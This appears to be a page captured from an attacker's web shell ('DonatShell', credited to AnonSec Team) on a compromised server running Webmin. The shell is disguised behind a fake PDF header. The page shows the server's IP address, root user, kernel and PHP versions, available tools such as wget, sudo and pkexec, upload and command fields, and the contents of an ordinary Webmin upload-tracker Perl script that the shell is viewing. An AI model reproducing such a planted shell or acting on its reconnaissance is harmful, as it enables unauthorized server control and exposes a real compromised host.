%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.248
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/uptracker.cgi
#!/usr/bin/perl
# Output Javascript in a loop to track an upload

BEGIN { push(@INC, "."); };
use WebminCore;

&init_config();
&ReadParse();
$id = $in{'id'};
$id || &error($text{'uptracker_eid'});
$id =~ /^[a-z0-9_]+$/i || &error($text{'uptracker_eid2'});

&popup_header($text{'uptracker_title'}, undef,
	      "onunload='if (!window.doneupload) { opener.stop() }'");
$| = 1;

# Output text boxes that get updated with filenames and progress
$ff = "style='font-family: courier,monospace'";
print "<form>\n";
print "<center><table>\n";
print "<tr> <td><b>$text{'uptracker_file'}</b></td>\n";
print "<td>",&ui_textbox("file", undef, 50, 1, undef, $ff),"</td> </tr>\n";
print "<tr> <td><b>$text{'uptracker_size'}</b></td>\n";
print "<td>",&ui_textbox("size", undef, 50, 1, undef, $ff),"</td> </tr>\n";
print "<tr> <td><b>$text{'uptracker_pc'}</b></td>\n";
print "<td>",&ui_textbox("pc", undef, 50, 1, undef, $ff),"</td> </tr>\n";
print "</table></center>\n";
print "</form>\n";

# Find the location of the user's upload progress file
if ($in{'uid'}) {
	@uinfo = getpwuid($in{'uid'});
	$upfile = "$uinfo[7]/.tmp/upload.$id";
	}
else {
	$upfile = "$ENV{'WEBMIN_VAR'}/upload.$id";
	}

# Read the tracker file in a loop until done, or until 1 minute has passed
# with no progress
print "<script>\n";
print "window.doneupload = 1;\n";
print "</script>\n";
$start = time();
while(1) {
	sleep(1);
	$now = time();
	if (!open(UPFILE, "<$upfile")) {
		# Doesn't exist yet
		if ($now - $start > 60) {
			# Give up after 60 seconds
			print "<script>\n";
			print "document.forms[0].pc.value = \"Not started\";\n";
			print "</script>\n";
			last;
			}
		next;
		}
	@lines = <UPFILE>;
	chop(@lines);
	close(UPFILE);
	($size, $totalsize, $filename) = @lines;
	if ($size == -1) {
		# Come to the end OK .. set percent bar to 100
		print "<script>\n";
		print "document.forms[0].pc.value = \"".("X" x 50)."\";\n";
		print "window.doneupload = 1;\n";
		print "</script>\n";
		last;
		}

	# Check if there has been no activity for 60 seconds
	if ($size == $last_size) {
		if ($last_time && $last_time < $now-60) {
			# Too slow! Give up
			print "<script>\n";
			print "document.forms[0].pc.value = \"Timeout\";\n";
			print "</script>\n";
			last;
			}
		}
	else {
		$last_size = $size;
		$last_time = $now;
		}

	$pc = $totalsize ? int(100 * $size / $totalsize) / 2 : 100;
	next if (defined($lastpc) && $pc == $lastpc);
	print "<script>\n";
	print "document.forms[0].file.value = \"".
		&quote_javascript($filename)."\";\n";
	print "document.forms[0].size.value = \"".
		&quote_javascript(&text('uptracker_of',
				&nice_size($size),
				&nice_size($totalsize)))."\";\n";
	print "document.forms[0].pc.value = \"".("|" x $pc)."\";\n";
	print "</script>\n";
	
	$lastpc = $pc;
	last if ($size >= $totalsize);
	}

# All done, so close the window and remove the file
print "<script>\n";
print "window.close();\n";
print "</script>\n";
unlink($upfile);

&popup_footer();


Anon7 - 2022
AnonSec Team